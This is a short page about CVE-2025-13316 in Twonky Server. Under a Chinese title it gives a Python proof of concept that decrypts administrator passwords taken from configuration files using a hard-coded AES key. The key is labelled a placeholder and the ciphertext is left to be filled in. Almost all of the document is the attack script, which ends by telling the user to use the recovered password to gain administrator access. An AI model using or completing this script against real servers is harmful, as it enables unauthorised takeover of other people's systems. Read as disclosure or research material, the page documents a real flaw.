CVE-2025-13316: Twonky Server硬编码加密密钥导致管理员密码泄露

#!/usr/bin/env python3 """ CVE-2025-13316 PoC - Twonky Server Hard-coded Cryptographic Key This PoC demonstrates the decryption of hard-coded encrypted administrator passwords """ import base64 import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_twonky_password(encrypted_b64, hardcoded_key): """ Decrypt Twonky Server administrator password encrypted_b64: Base64 encoded encrypted password hardcoded_key: The hard-coded encryption key used by Twonky Server """ try: # Decode base64 encrypted_data = base64.b64decode(encrypted_b64) # Extract IV (first 16 bytes) and ciphertext iv = encrypted_data[:16] ciphertext = encrypted_data[16:] # Create cipher with hardcoded key key = hashlib.sha256(hardcoded_key.encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv) # Decrypt decrypted_padded = cipher.decrypt(ciphertext) decrypted = unpad(decrypted_padded, AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Decryption failed: {str(e)}" def main(): # Example hardcoded key (placeholder - actual key from research) hardcoded_key = "TwonkyServerSecretKey2024" # Example encrypted password (replace with actual encrypted password) encrypted_password = "REPLACE_WITH_ENCRYPTED_PASSWORD" print("=" * 60) print("CVE-2025-13316 PoC - Twonky Server Password Decryption") print("=" * 60) print(f"Target: Twonky Server 8.5.2") print(f"Vulnerability: Hard-coded Cryptographic Keys") print(f"CVSS Score: 8.1 (High)") print("=" * 60) if encrypted_password == "REPLACE_WITH_ENCRYPTED_PASSWORD": print("\n[!] Please replace 'REPLACE_WITH_ENCRYPTED_PASSWORD' with actual encrypted password") print("[!] Encrypted passwords can be found in Twonky Server configuration files") else: plaintext = decrypt_twonky_password(encrypted_password, hardcoded_key) print(f"\n[+] Encrypted Password: {encrypted_password}") print(f"[+] Decrypted Password: {plaintext}") print("\n[!] Use this password to gain administrator access to Twonky Server") if __name__ == "__main__": main()